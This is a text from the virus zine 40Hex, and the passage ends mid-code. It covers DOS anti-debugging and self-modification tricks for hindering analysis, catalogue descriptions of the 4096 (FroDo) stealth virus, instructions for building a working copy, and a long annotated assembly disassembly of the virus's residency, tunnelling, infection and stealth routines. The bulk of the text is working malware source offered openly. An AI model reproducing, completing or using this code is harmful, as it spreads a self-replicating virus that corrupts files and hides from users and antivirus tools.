interrupt: In order to avoid tracing of a code, one usually disables the interrupt via the 8259 Interrupt Controller, addressed by read/write actions to port 21h. The 8259 Interrupt Controller controls the IRQ lines. This means that any IRQ between 0 and 7 may be disabled by this action. Bit 0 is IRQ0, bit 1 is IRQ1 etc. Since IRQ1 is the keyboard interrupt, you may disable the keyboard without the debugger being able to bypass it. Example: CS:0100 E421 IN AL,21 CS:0102 0C02 OR AL,02 CS:0104 E621 OUT 21,AL Just as a side notice, the keyboard may be also disabled by commanding the Programmable Perepheral Interface (PPI), port 61h. Example: CS:0100 E461 IN AL,61 CS:0102 0C80 OR AL,80 CS:0104 E661 OUT 61,AL 1.1.2. Software masking of interrupt: This is quite an easy form of anti-debugging trick. All you have to do is simply replace the vectors of interrupts debuggers use/any other interrupt you will not be using or expecting to happen. Do not forget to restore the original vectors when you are finished. It is adviseable to use manual change of vector, as shown below, rather than to change it using interrupt 21h service 25h, because any debugger that has gained control of interrupt 21h may replace your vector with the debugger's. The example shows an interception of interrupt 03h - the breakpoint interrupt. Example: CS:0100 EB04 JMP 0106 CS:0102 0000 ADD [BX+SI],AL CS:0104 0000 ADD [BX+SI],AL CS:0106 31C0 XOR AX,AX CS:0108 8EC0 MOV ES,AX CS:010A 268B1E0C00 MOV BX,ES:[000C] CS:010F 891E0201 MOV [0102],BX CS:0113 268B1E0E00 MOV BX,ES:[000E] CS:0118 891E0401 MOV [0104],BX CS:011C 26C7064C000000 MOV Word Ptr ES:[000C],0000 CS:0123 26C7064E000000 MOV Word Ptr ES:[000E],0000 1.1.3. Vector manipulation This method involves manipulations of the interrupt vectors, mainly for proper activation of the algorithm. Such action, as exampled, may be used to decrypt a code (see also 2.1), using data stored ON the vectors. Ofcourse, during normal operation of the program, vectors 01h and 03h are not used, so unless you are trying to debug such a program, it works fine. Example: CS:0100 31C0 XOR AX,AX CS:0102 8ED0 MOV SS,AX CS:0104 BC0600 MOV SP,0006 CS:0107 8B0E0211 MOV CX,[1102] CS:010B 50 PUSH AX CS:010C 21C8 AND AX,CX CS:010E 01C5 ADD BP,AX CS:0110 58 POP AX CS:0111 E2F8 LOOP 010B 1.1.4. Interrupt replacement This is a really nasty trick, and it should be used ONLY if you are ABSOLUTELY sure that your programs needs no more debugging. What it does is simply copy the vectors of some interrupts you will be using, say 16h and 21h, onto the vectors of interrupt 01h and 03h, that do not occure during normal operation of the program. If the user wants to debug the program, he would have to search for every occurance of INT 01, and replace it with the appropriate INT instruction. Example: CS:0100 FA CLI CS:0101 31C0 XOR AX,AX CS:0103 8EC0 MOV ES,AX CS:0105 26A18400 MOV AX,ES:[0084] CS:0109 26A30400 MOV ES:[0004],AX CS:010D 26A18600 MOV AX,ES:[0086] CS:0111 26A30600 MOV ES:[0006],AX CS:0115 B44C MOV AH,4C CS:0117 CD01 INT 01 1.2. Time watch: This may be a less common method, but it is usefull against debuggers that disable all interrupts except for the time that the program is executed, such as Borland's Turbo Debugger. This method simply retains the value of the clock counter, updated by interrupt 08h, and waits in an infinite loop until the value changes. Another example is when you mask the timer interrupt by ORing the value INed from port 21h with 01h and then OUTing it back, thus disabling the IRQ0 - Timer interrupt. Note that this method is usefull only against RUN actions, not TRACE/PROCEED ones. Example: CS:0100 2BC0 SUB AX,AX CS:0102 FB STI CS:0103 8ED8 MOV DS,AX CS:0105 8A266C04 MOV AH,[046C] CS:0109 A06C04 MOV AL,[046C] CS:010C 3AC4 CMP AL,AH CS:010E 74F9 JZ 0109 1.3. Fool the debugger: This is a very nice technique, that works especially and only on those who use Turbo Debugger or its kind. What you do is init a jump to a middle of an instruction, whereas the real address actually contains another opcode. If you work with a normal step debugger such as Debug or SymDeb, it won't work since the debugger jumps to the exact address of the jump, and not to the beginning of an instruction at the closest address, like Turbo Debugger. Example: CS:0100 E421 IN AL,21 CS:0102 B0FF MOV AL,FF CS:0104 EB02 JMP 0108 CS:0106 C606E62100 MOV Byte Ptr [21E6],00 CS:010B CD20 INT 20 Watch this: CS:0108 E621 OUT 21,AL 1.4. Cause debugger to stop execution: This is a technique that causes a debugger to stop the execution of a certain program. What you need to do is to put some INT 3 instructions over the code, at random places, and any debugger trying to run will stop there. Since this techniqu causes the CPU to stop executing the program, and therefore clear the Prefetch Instruction Queue, it is adviseable to use this techinque in conjunction with the PIQ trick, 2.2.2. Note that the example shows how to use these two tricks together. Example: CS:0100 B97502 MOV CX,0275 CS:0103 BE9001 MOV SI,0190 CS:0106 89F7 MOV DI,SI CS:0108 AC LODSB CS:0109 C70610013473 MOV Word Ptr [0110],7334 CS:010F CC INT 3 CS:0110 2406 AND AL,06 CS:0112 AA STOSB CS:0113 C70610012406 MOV Word Ptr [0110],0624 CS:0119 E2ED LOOP 0108 1.5. Halt TD386 V8086 mode: This is a nice way to fool Turbo Debugger's V8086 module (TD386). It is baed on the fact that TD386 does not use INT 00h to detect division by zero (or register overrun after division, which is treated by the processor in the same way as in case of division by zero). When TD386 detects a division fault it aborts, reporting about the faulty division. In real mode (even under a regular debugger), a faulty DIV instruction will cause INT 00h to be called. Therefore, pointing INT 00h to the next instruction, will recover from the faulty DIV. Note: It is very important to restore INT 00h's vector. Otherwise, the next call to INT 00h will cause the machine to hang. Example: CS:0100 31C0 XOR AX,AX CS:0102 8ED8 MOV DS,AX CS:0104 C70600001201 MOV WORD PTR [0000],0112 CS:010A 8C0E0200 MOV [0002],CS CS:010E B400 MOV AH,00 CS:0110 F6F4 DIV AH CS:0112 B8004C MOV AX,4C00 CS:0115 CD21 INT 21 1.6. Halt any V8086 process: Another way of messing TD386 is fooling it into an exception. Unfortunately, this exception will also be generated under any other program, running at V8086 mode. The exception is exception #13, and its issued interrupt is INT 0Dh - 13d. The idea is very similar to the divide by zero trick: Causing an exception, when the exception interrupt points to somewhere in the program's code. It will always work when the machine is running in real mode, but never under the V8086 mode. Note: It is very important to restore the original interrupt vectors. Otherwise, the next exception will hang the machine. Example: CS:0100 31C0 XOR AX,AX CS:0102 8ED8 MOV DS,AX CS:0104 C70634001301 MOV WORD PTR [0034],0113 CS:010A 8C0E3600 MOV [0036],CS CS:010E 833EFFFF00 CMP WORD PTR [FFFF],+00 CS:0113 B8004C MOV AX,4C00 CS:0116 CD21 INT 21 2. Self-modifying code: ----------------------- 2.1. Encryptive/decryptive algorithm: The first category is simply a code, that has been encrypted, and has been added with a decryption routine. The trick here is that when a debugger sets up a breakpoint, it simply places the opcode CCh (INT 03h) in the desired address, and once that interrupt is executed, the debugger regains control of things. If you try to set a breakpoint AFTER the decryption algorithm, what is usually needed, you will end up putting an opcode CCh in a place where decryption action is taken, therefore losing your original CCh in favour of whatever the decryption algorithm makes. The following example was extracted from the Haifa virus. If you try to set a breakpoint at address CS:0110, you will never reach that address, since there is no way to know what will result from the change. Note that if you want to make the tracing even harder, you should start the decryption of the code from its END, so it takes the whole operation until the opcode following the decryption routine is decrypted. Example: CS:0100 BB7109 MOV BX,0971 CS:0103 BE1001 MOV DI,0110 CS:0106 91 XCHG AX,CX CS:0107 91 XCHG AX,CX CS:0108 2E803597 XOR Byte Ptr CS:[DI],97 CS:010C 47 INC DI CS:010D 4B DEC BX CS:010E 75F6 JNZ 0106 CS:0110 07 POP ES CS:0111 07 POP ES 2.2. Self-modifying code: 2.2.1. Simple self-modification: This method implements the same principle as the encryption method: Change the opcode before using it. In the following example, we change the insruction following the call, and therefore, if you try to trace the entire call ('P'/Debug or F8/Turbo Debugger), you will not succeed, since the debugger will put its CCh on offset 104h, but when the routine runs, it overwrites location 104h. Example: CS:0100 E80400 CALL 0107 CS:0103 CD20 INT 20 CS:0105 CD21 INT 21 CS:0107 C7060301B44C MOV Word Ptr [0103],4CB4 CS:010D C3 RET Watch this: CS:0103 B44C MOV AH,4C 2.2.2. Prefetch Instruction Queue (PIQ) manipulation: This method is a bit similar to (1.3), but it fools ANY debugger, or any other process that executes one operation at a time. The PIQ is an area within the CPU, that pre-fethces, ie. takes in advance, instructions from memory, so when they need to be executed, it would take less time to get them, since they are already in the CPU. The PIQ length ranges from 6 or 4 in old computers, up to as high as 25 in new ones. What the trick does is change the FOLLOWING opcode to something meaningless. If you are debugging, then the change will take place BEFORE the instructions is executed or fetched. If you run the program NORMALLY, by the time you change the opcode, it will have already been fetched. Example: CS:0100 B97502 MOV CX,0275 CS:0103 BE9001 MOV SI,0190 CS:0106 89F7 MOV DI,SI CS:0108 AC LODSB CS:0109 C7060F012406 MOV Word Ptr [010F],0624 CS:010F 3473 XOR AL,73 CS:0111 AA STOSB CS:0112 C7060F012406 MOV Word Ptr [010F],0624 CS:0118 E2EE LOOP 0108 Watch this: CS:010F 2406 AND AL,06 =============================================================================== 40Hex Number 9 Volume 2 Issue 5 File 005 Virus Spotlite on: 4096 The 4096, or FroDo, virus was one of the first known stealth viruses. Presented below are the descriptions found in Patricia Hoffman's VSUM and in the Computer Virus Catalog. Of course, the latter description is far more accurate, albeit shorter. The virus infects EXE and COM files but not overlays due to the bizarre method with which it checks for a valid file extension. It also cannot handle SYS files. It has a boot block in it; unfortunately, the code which is called to write the boot block to the disk is damaged and the system crashes when the virus attempts to access this code. However, it is worthwhile to rip out the boot block from the code and write it to a disk; the display is pretty neat. To create a working copy, use debug to create a file with the follow- ing bytes: E9 68 02 and tack on the virus to the end of that file. Or, do the following: C:\>DEBUG 4096.COM -E FD XXXX:00FD 00.E9 00.68 00.02 -R CX CX 0FF1 :FF4 -W FD Writing 0FF4 bytes -Q - Dark Angel 4096 Virus Name: 4096 Aliases: Century Virus, FroDo, IDF Virus, Stealth Virus, 100 Years Virus V Status: Common Discovery: January, 1990 Symptoms: .COM, .EXE, & overlay file growth; TSR hides growth; crosslinks; corruption of data files Origin: Israel Eff Length: 4,096 Bytes Type Code: PRsA - Parasitic Resident .COM & .EXE Infector Detection Method: ViruScan, F-Prot, IBM Scan, VirexPC, AVTK, NAV, Novi, Sweep, CPAV, UTScan, Gobbler2, VBuster, AllSafe, ViruSafe Removal Instructions: CleanUp, F-Prot, NAV or delete infected files General Comments: The 4096 virus was first isolated in January, 1990. This virus is considered a stealth virus in that it is almost invisible to the system user. The 4096 virus infects .COM, .EXE, and Overlay files, adding 4,096 bytes to their length. Once the virus is resident in system memory, the increase in length will not appear in a directory listing. Once this virus has installed itself into memory, it will infect any executable file that is opened, including if it is opened with the COPY or XCOPY command. This virus is destructive to both data files and executable files, as it very slowly cross-links files on the system's disk. The cross-linking occurs so slowly that it appears there is a hardware problem, the virus being almost invisible. The cross-linking of files is the result of the virus manipulating the FATs, changing the number of available sectors, as well as the user issuing CHKDSK/F command which will think that the files have lost sectors or cross-linking if the virus is in memory. As a side note, if the virus is present in memory and you attempt to copy infected files, the new copy of the file will not be infected with the virus if the new copy does not have an executable file extension. Thus, one way to disinfect a system is to copy off all the infected files to diskettes with a non-executable file extension (i.e., don't use .EXE, .COM, .SYS, etc.) while the virus is active in memory, then power off the system and reboot from a write-protected, uninfected system disk. Once rebooted and the virus is not in memory, delete the infected files and copy back the files from the diskettes to the original executable file names and extensions. The above will disinfect the system, if done correctly, but will still leave the problem of cross-linked files which are permanently damaged. On or after September 22 of any year, the 4096 virus will hang infected systems. This appears to be a "bug" in the virus in that it goes into a time consuming loop. The 4096 virus also contains a boot-sector within its code; however, it is never written out to the disk's boot sector. Moving this boot sector to the boot sector of a diskette and rebooting the system will result in the message "FRODO LIVES" being displayed. September 22 is Bilbo and Frodo Baggin's birthday in the Lord of the Rings trilogy. An important note on the 4096 virus: this virus will also infect some data files. When this occurs, the data files will appear to be fine on infected systems. However, after the system is later disinfected, these files will now be corrupted and unpredictable results may occur. Known variant(s) of 4096 are: 4096-B: Similar to the 4096 virus, the main change is that the encryption mechanism has been changed in order to avoid detection. 4096-C: Isolated in January, 1991, this variant of 4096 is similar to the original virus. The major difference is that the DOS CHKDSK command will not show any cross-linking of files or lost clusters. A symptom of infection by this variant is that the disk space available according to a DIR command will be more than the disk space available according to the DOS CHKDSK program. 4096-D: Isolated in April, 1992, this variant of 4096 is similar to the 4096-C variant in behavior. The major difference is that it has been modified to avoid detection by some anti- viral utilities. Origin: Unknown April, 1992. ======== Computer Virus Catalog 1.2: "4096" Virus (5-June-1990) ======= Entry...............: "4096" virus Alias(es)...........: "100 years" Virus = IDF Virus = Stealth Virus. Virus Strain........: --- Virus detected when.: October 1989. where.: Haifa, Israel. Classification......: Program Virus (extending), RAM-resident. Length of Virus.....: .COM files: length increased by 4096 bytes. .EXE files: length increased by 4096 bytes. --------------------- Preconditions ----------------------------------- Operating System(s).: MS-DOS Version/Release.....: 2.xx upward Computer model(s)...: IBM-PC, XT, AT and compatibles --------------------- Attributes -------------------------------------- Easy Identification.: --- Type of infection...: System: Allocates a memory block at high end of memory. Finds original address (inside DOS) of Int 21h handler. Finds original address (inside BIOS) of Int 13h handler, therefore bypasses all active monitors. Inserts a JMP FAR to virus code inside original DOS handler. .COM files: program length increased by 4096 .EXE files: program length increased by 4096 Infection Trigger...: Programs are infected at load time (using the function Load/Execute of MS-DOS), and whenever a file Access is done to a file with the exten- sion of .COM or .EXE, (Open file AH=3D, Create file AH=3C, File attrib AH=43, File time/date AH=57, etc.) Interrupts hooked...: INT21h, through a JMP FAR to virus code inside DOS handler; INT01h, during virus installation & execution of DOS's load/execute function (AH=4B); INT13h, INT24h during infection. Damage..............: The computer usually hangs up. Damage Trigger......: A Get Dos Version call when the date is after the 22th of September and before 1/1 of next year. Particularities.....: Infected files have their year set to (year+100) of the un-infected file. If the system is infected, the virus redirects all file accesses so that the virus itself can not be read from the file. Also, find first/next function returns are tampered so that files with (year>100) are reduced by 4096 bytes in size. --------------------- Agents ------------------------------------------ Countermeasures.....: Cannot be detected while in memory, so no monitor/file change detector can help. Countermeasures successful: 1) A Do-it-yourself way: Infect system by running an infected file, ARC/ZIP/LHARC/ZOO all in- fected .COM and .EXE files, boot from unin- fected floppy, and UNARC/UNZIP/LHARC E etc. all files. Pay special attention to disin- fection of COMMAND.COM. 2) The JIV AntiVirus Package (by the author of this contribution) 3) F. Skulason's F-PROT package. Standard means......: --- --------------------- Acknowledgement --------------------------------- Location............: Weizmann Institute, Israel. Classification by...: Ori Berger Documentation by....: Ori Berger Date................: 26-February-1990 ===================== End of "4096" Virus ============================= _4096 segment byte public assume cs:_4096, ds:_4096 ; 4096 Virus ; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9 ; Assemble with TASM; the resultant file size is 4081 bytes org 0 startvirus: db 0 jmp installvirus oldheader: ; original 1Ch bytes of the carrier file retn db 75h,02,44h,15h,46h,20h db 'Copyright Bourb%}i, I' endoldheader: EXEflag db 00h db 0FEh, 3Ah int1: ; locate the BIOS or DOS entry point for int 13h and int 21h push bp ; set up stack frame mov bp,sp push ax cmp word ptr [bp+4],0C000h ; in BIOS? jnb foundorigint ; nope, haven't found it mov ax,cs:DOSsegment ; in DOS? cmp [bp+4],ax jbe foundorigint exitint1: pop ax pop bp iret foundorigint: cmp byte ptr cs:tracemode,1 jz tracemode1 mov ax,[bp+4] ; save segment of entry point mov word ptr cs:origints+2,ax mov ax,[bp+2] ; save offset of entry point mov word ptr cs:origints,ax jb finishint1 pop ax pop bp mov ss,cs:savess ; restore the stack to its mov sp,cs:savesp ; original state mov al,cs:saveIMR ; Restore IMR out 21h,al ; (enable interrupts) jmp setvirusints finishint1: and word ptr [bp+6],0FEFFh ; turn off trap flag mov al,cs:saveIMR ; and restore IMR out 21h,al jmp short exitint1 tracemode1: dec byte ptr cs:instructionstotrace jnz exitint1 and word ptr [bp+6],0FEFFh ; turn off trap flag call saveregs call swapvirint21 ; restore original int lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers mov al,1 call setvect call restoreregs jmp short finishint1 getint: push ds push si xor si,si ; clear si mov ds,si ; ds->interrupt table xor ah,ah ; cbw would be better!? mov si,ax shl si,1 ; convert int # to offset in shl si,1 ; interrupt table (int # x 4) mov bx,[si] ; es:bx = interrupt vector mov es,[si+2] ; get old interrupt vector ; save 3 bytes if use les bx,[si] pop si pop ds retn installvirus: mov word ptr cs:stackptr,offset topstack mov cs:initialax,ax ; save initial value for ax mov ah,30h ; Get DOS version int 21h mov cs:DOSversion,al ; Save DOS version mov cs:carrierPSP,ds ; Save PSP segment mov ah,52h ; Get list of lists int 21h mov ax,es:[bx-2] ; segment of first MCB mov cs:DOSsegment,ax ; save it for use in int 1 mov es,ax ; es = segment first MCB mov ax,es:[1] ; Get owner of first MCB mov cs:ownerfirstMCB,ax ; save it push cs pop ds mov al,1 ; get single step vector call getint mov word ptr ds:oldint1,bx ; save it for later mov word ptr ds:oldint1+2,es; restoration mov al,21h ; get int 21h vector call getint mov word ptr ds:origints,bx mov word ptr ds:origints+2,es mov byte ptr ds:tracemode,0 ; regular trace mode on mov dx,offset int1 ; set new int 1 handler mov al,1 call setvect pushf pop ax or ax,100h ; turn on trap flag push ax in al,21h ; Get old IMR mov ds:saveIMR,al mov al,0FFh ; disable all interrupts out 21h,al popf mov ah,52h ; Get list of lists pushf ; (for tracing purposes) call dword ptr ds:origints ; perform the tunnelling pushf pop ax and ax,0FEFFh ; turn off trap flag push ax popf mov al,ds:saveIMR ; reenable interrupts out 21h,al push ds lds dx,dword ptr ds:oldint1 mov al,1 ; restore int 1 to the call setvect ; original handler pop ds les di,dword ptr ds:origints; set up int 21h handlers mov word ptr ds:oldint21,di mov word ptr ds:oldint21+2,es mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr mov word ptr ds:int21store,offset otherint21 mov word ptr ds:int21store+2,cs call swapvirint21 ; activate virus in memory mov ax,4B00h mov ds:checkres,ah ; set resident flag to a ; dummy value mov dx,offset EXEflag+1 ; save EXE flag push word ptr ds:EXEflag int 21h ; installation check ; returns checkres=0 if ; installed pop word ptr ds:EXEflag ; restore EXE flag add word ptr es:[di-4],9 nop ; !? mov es,ds:carrierPSP ; restore ES and DS to their mov ds,ds:carrierPSP ; original values sub word ptr ds:[2],(topstack/10h)+1 ; alter top of memory in PSP mov bp,ds:[2] ; get segment mov dx,ds sub bp,dx mov ah,4Ah ; Find total available memory mov bx,0FFFFh int 21h mov ah,4Ah ; Allocate all available memory int 21h dec dx ; go to MCB of virus memory mov ds,dx cmp byte ptr ds:[0],'Z' ; is it the last block? je carrierislastMCB dec byte ptr cs:checkres ; mark need to install virus carrierislastMCB: cmp byte ptr cs:checkres,0 ; need to install? je playwithMCBs ; nope, go play with MCBs mov byte ptr ds:[0],'M' ; mark not end of chain playwithMCBs: mov ax,ds:[3] ; get memory size controlled mov bx,ax ; by the MCB sub ax,(topstack/10h)+1 ; calculate new size add dx,ax ; find high memory segment mov ds:[3],ax ; put new size in MCB inc dx ; one more for the MCB mov es,dx ; es->high memory MCB mov byte ptr es:[0],'Z' ; mark end of chain push word ptr cs:ownerfirstMCB ; get DOS PSP ID pop word ptr es:[1] ; make it the owner mov word ptr es:[3],160h ; fill in the size field inc dx mov es,dx ; es->high memory area push cs pop ds mov cx,(topstack/2) ; zopy 0-1600h to high memory mov si,offset topstack-2 mov di,si std ; zopy backwards rep movsw cld push es ; set up stack for jmp into mov ax,offset highentry ; virus code in high memory push ax mov es,cs:carrierPSP ; save current PSP segment mov ah,4Ah ; Alter memory allocation mov bx,bp ; bx = paragraphs int 21h retf ; jmp to virus code in high highentry: ; memory call swapvirint21 mov word ptr cs:int21store+2,cs call swapvirint21 push cs pop ds mov byte ptr ds:handlesleft,14h ; reset free handles count push cs pop es mov di,offset handletable mov cx,14h xor ax,ax ; clear handle table rep stosw mov ds:hideclustercountchange,al ; clear the flag mov ax,ds:carrierPSP mov es,ax ; es->PSP lds dx,dword ptr es:[0Ah] ; get terminate vector (why?) mov ds,ax ; ds->PSP add ax,10h ; adjust for PSP add word ptr cs:oldheader+16h,ax ; adjust jmp location cmp byte ptr cs:EXEflag,0 ; for PSP jne returntoEXE returntoCOM: sti mov ax,word ptr cs:oldheader; restore first 6 bytes of the mov ds:[100h],ax ; COM file mov ax,word ptr cs:oldheader+2 mov ds:[102h],ax mov ax,word ptr cs:oldheader+4 mov ds:[104h],ax push word ptr cs:carrierPSP ; Segment of carrier file's mov ax,100h ; PSP push ax mov ax,cs:initialax ; restore orig. value of ax retf ; return to original COM file returntoEXE: add word ptr cs:oldheader+0eh,ax mov ax,cs:initialax ; Restore ax mov ss,word ptr cs:oldheader+0eh ; Restore stack to mov sp,word ptr cs:oldheader+10h ; original value sti jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP ; entry point entervirus: cmp sp,100h ; COM file? ja dont_resetstack ; if so, skip this xor sp,sp ; new stack dont_resetstack: mov bp,ax call next ; calculate relativeness next: pop cx sub cx,offset next ; cx = delta offset mov ax,cs ; ax = segment mov bx,10h ; convert to offset mul bx add ax,cx adc dx,0 div bx ; convert to seg:off push ax ; set up stack for jmp mov ax,offset installvirus ; to installvirus push ax mov ax,bp retf ; go to installvirus int21commands: db 30h ; get DOS version dw offset getDOSversion db 23h ; FCB get file size dw offset FCBgetfilesize db 37h ; get device info dw offset get_device_info db 4Bh ; execute dw offset execute db 3Ch ; create file w/ handle dw offset createhandle db 3Dh ; open file dw offset openhandle db 3Eh ; close file dw offset handleclosefile db 0Fh ; FCB open file dw offset FCBopenfile db 14h ; sequential FCB read dw offset sequentialFCBread db 21h ; random FCB read dw offset randomFCBread db 27h ; random FCB block read dw offset randomFCBblockread db 11h ; FCB find first dw offset FCBfindfirstnext db 12h ; FCB find next dw offset FCBfindfirstnext db 4Eh ; filename find first dw offset filenamefindfirstnext db 4Fh ; filename find next dw offset filenamefindfirstnext db 3Fh ; read dw offset handleread db 40h ; write dw offset handlewrite db 42h ; move file pointer dw offset handlemovefilepointer db 57h ; get/set file time/date dw offset getsetfiletimedate db 48h ; allocate memory dw offset allocatememory endcommands: otherint21: cmp ax,4B00h ; execute? jnz notexecute mov cs:checkres,al ; clear the resident flag notexecute: push bp ; set up stack frame mov bp,sp push [bp+6] ; push old flags pop cs:int21flags ; and put in variable pop bp ; why? push bp ; why? mov bp,sp ; set up new stack frame call saveregs call swapvirint21 ; reenable DOS int 21h handler call disableBREAK call restoreregs call _pushall push bx mov bx,offset int21commands ; bx->command table scanforcommand: cmp ah,cs:[bx] ; scan for the function jne findnextcommand ; code/subroutine combination mov bx,cs:[bx+1] xchg bx,[bp-14h] cld retn findnextcommand: add bx,3 ; go to next command cmp bx,offset endcommands ; in the table until jb scanforcommand ; there are no more pop bx exitotherint21: call restoreBREAK in al,21h ; save IMR mov cs:saveIMR,al mov al,0FFh ; disable all interrupts out 21h,al mov byte ptr cs:instructionstotrace,4 ; trace into mov byte ptr cs:tracemode,1 ; oldint21 call replaceint1 ; set virus int 1 handler call _popall push ax mov ax,cs:int21flags ; get the flags or ax,100h ; turn on the trap flag push ax ; and set it in motion popf pop ax pop bp jmp dword ptr cs:oldint21 ; chain back to original int ; 21h handler -- do not return exitint21: call saveregs call restoreBREAK call swapvirint21 call restoreregs pop bp push bp ; set up stack frame mov bp,sp push word ptr cs:int21flags ; get the flags and put pop word ptr [bp+6] ; them on the stack for pop bp ; the iret iret FCBfindfirstnext: call _popall call callint21 or al,al ; Found any files? jnz exitint21 ; guess not call _pushall call getdisktransferaddress mov al,0 cmp byte ptr [bx],0FFh ; Extended FCB? jne findfirstnextnoextendedFCB mov al,[bx+6] add bx,7 ; convert to normal FCB findfirstnextnoextendedFCB: and cs:hide_size,al test byte ptr [bx+1Ah],80h ; check year bit for virus jz _popall_then_exitint21 ; infection tag. exit if so sub byte ptr [bx+1Ah],0C8h ; alter file date cmp byte ptr cs:hide_size,0 jne _popall_then_exitint21 sub word ptr [bx+1Dh],1000h ; hide file size sbb word ptr [bx+1Fh],0 _popall_then_exitint21: call _popall jmp short exitint21 FCBopenfile: call _popall call callint21 ; chain to original int 21h call _pushall or al,al ; 0 = success jnz _popall_then_exitint21 mov bx,dx test byte ptr [bx+15h],80h ; check if infected yet jz _popall_then_exitint21 sub byte ptr [bx+15h],0C8h ; restore date sub word ptr [bx+10h],1000h ; and hide file size sbb byte ptr [bx+12h],0 jmp short _popall_then_exitint21 randomFCBblockread: jcxz go_exitotherint21 ; reading any blocks? randomFCBread: mov bx,dx mov si,[bx+21h] ; check if reading first or si,[bx+23h] ; bytes jnz go_exitotherint21 jmp short continueFCBread sequentialFCBread: mov bx,dx mov ax,[bx+0Ch] ; check if reading first or al,[bx+20h] ; bytes jnz go_exitotherint21 continueFCBread: call checkFCBokinfect jnc continuecontinueFCBread go_exitotherint21: jmp exitotherint21 continuecontinueFCBread: call _popall call _pushall call callint21 ; chain to original handler mov [bp-4],ax ; set the return codes mov [bp-8],cx ; properly push ds ; save FCB pointer push dx call getdisktransferaddress cmp word ptr [bx+14h],1 ; check for EXE infection je FCBreadinfectedfile ; (IP = 1) mov ax,[bx] ; check for COM infection add ax,[bx+2] ; (checksum = 0) add ax,[bx+4] jz FCBreadinfectedfile add sp,4 ; no infection, no stealth jmp short _popall_then_exitint21 ; needed FCBreadinfectedfile: pop dx ; restore address of the FCB pop ds mov si,dx push cs pop es mov di,offset tempFCB ; copy FCB to temporary one mov cx,25h rep movsb mov di,offset tempFCB push cs pop ds mov ax,[di+10h] ; get old file size mov dx,[di+12h] add ax,100Fh ; increase by virus size adc dx,0 ; and round to the nearest and ax,0FFF0h ; paragraph mov [di+10h],ax ; insert new file size mov [di+12h],dx sub ax,0FFCh sbb dx,0 mov [di+21h],ax ; set new random record # mov [di+23h],dx mov word ptr [di+0Eh],1 ; record size = 1 mov cx,1Ch mov dx,di mov ah,27h ; random block read 1Ch bytes call callint21 jmp _popall_then_exitint21 FCBgetfilesize: push cs pop es mov si,dx mov di,offset tempFCB ; copy FCB to temp buffer mov cx,0025h repz movsb push ds push dx push cs pop ds mov dx,offset tempFCB mov ah,0Fh ; FCB open file call callint21 mov ah,10h ; FCB close file call callint21 test byte ptr [tempFCB+15h],80h ; check date bit pop si pop ds jz will_exitotherint21 ; exit if not infected les bx,dword ptr cs:[tempFCB+10h] ; get filesize mov ax,es sub bx,1000h ; hide increase sbb ax,0 xor dx,dx mov cx,word ptr cs:[tempFCB+0eh] ; get record size dec cx add bx,cx adc ax,0 inc cx div cx mov [si+23h],ax ; fix random access record # xchg dx,ax xchg bx,ax div cx mov [si+21h],ax ; fix random access record # jmp _popall_then_exitint21 filenamefindfirstnext: and word ptr cs:int21flags,-2 ; turn off trap flag call _popall call callint21 call _pushall jnb filenamefffnOK ; continue if a file is found or word ptr cs:int21flags,1 jmp _popall_then_exitint21 filenamefffnOK: call getdisktransferaddress test byte ptr [bx+19h],80h ; Check high bit of date jnz filenamefffnfileinfected; Bit set if infected jmp _popall_then_exitint21 filenamefffnfileinfected: sub word ptr [bx+1Ah],1000h ; hide file length increase sbb word ptr [bx+1Ch],0 sub byte ptr [bx+19h],0C8h ; and date change jmp _popall_then_exitint21 createhandle: push cx and cx,7 ; mask the attributes cmp cx,7 ; r/o, hidden, & system? je exit_create_handle pop cx call replaceint13and24 call callint21 ; chain to original int 21h call restoreint13and24 pushf cmp byte ptr cs:errorflag,0 ; check if any errors yet je no_errors_createhandle popf will_exitotherint21: jmp exitotherint21 no_errors_createhandle: popf jc other_error_createhandle; exit on error mov bx,ax ; move handle to bx mov ah,3Eh ; Close file call callint21 jmp short openhandle other_error_createhandle: or byte ptr cs:int21flags,1; turn on the trap flag mov [bp-4],ax ; set the return code properly jmp _popall_then_exitint21 exit_create_handle: pop cx jmp exitotherint21 openhandle: call getcurrentPSP call checkdsdxokinfect jc jmp_exitotherint21 cmp byte ptr cs:handlesleft,0 ; make sure there is a free je jmp_exitotherint21 ; entry in the table call setup_infection ; open the file cmp bx,0FFFFh ; error? je jmp_exitotherint21 ; if so, exit dec byte ptr cs:handlesleft push cs pop es mov di,offset handletable mov cx,14h xor ax,ax ; find end of the table repne scasw mov ax,cs:currentPSP ; put the PSP value and the mov es:[di-2],ax ; handle # in the table mov es:[di+26h],bx mov [bp-4],bx ; put handle # in return code handleopenclose_exit: and byte ptr cs:int21flags,0FEh ; turn off the trap flag jmp _popall_then_exitint21 jmp_exitotherint21: jmp exitotherint21 handleclosefile: push cs pop es call getcurrentPSP mov di,offset handletable mov cx,14h ; 14h entries max mov ax,cs:currentPSP ; search for calling PSP scanhandle_close: repne scasw jnz handlenotfound ; handle not trapped cmp bx,es:[di+26h] ; does the handle correspond? jne scanhandle_close ; if not, find another handle mov word ptr es:[di-2],0 ; otherwise, clear handle call infect_file inc byte ptr cs:handlesleft ; fix handles left counter jmp short handleopenclose_exit ; and exit handlenotfound: jmp exitotherint21 getdisktransferaddress: push es mov ah,2Fh ; Get disk transfer address call callint21 ; to es:bx push es pop ds ; mov to ds:bx pop es retn execute: or al,al ; load and execute? jz loadexecute ; yepper! jmp checkloadnoexecute ; otherwise check if ; load/no execute loadexecute: push ds ; save filename push dx mov word ptr cs:parmblock,bx; save parameter block and mov word ptr cs:parmblock+2,es; move to ds:si lds si,dword ptr cs:parmblock mov di,offset copyparmblock ; copy the parameter block mov cx,0Eh push cs pop es rep movsb pop si ; copy the filename pop ds ; to the buffer mov di,offset copyfilename mov cx,50h rep movsb mov bx,0FFFFh call allocate_memory ; allocate available memory call _popall pop bp ; save the parameters pop word ptr cs:saveoffset ; on the stack pop word ptr cs:savesegment pop word ptr cs:int21flags mov ax,4B01h ; load/no execute push cs ; ds:dx -> file name pop es ; es:bx -> parameter block mov bx,offset copyparmblock pushf ; perform interrupt 21h call dword ptr cs:oldint21 jnc continue_loadexecute ; continue if no error or word ptr cs:int21flags,1; turn on trap flag push word ptr cs:int21flags ; if error push word ptr cs:savesegment ; restore stack push word ptr cs:saveoffset push bp ; restore the stack frame mov bp,sp ; and restore ES:BX to les bx,dword ptr cs:parmblock ; point to the parameter jmp exitint21 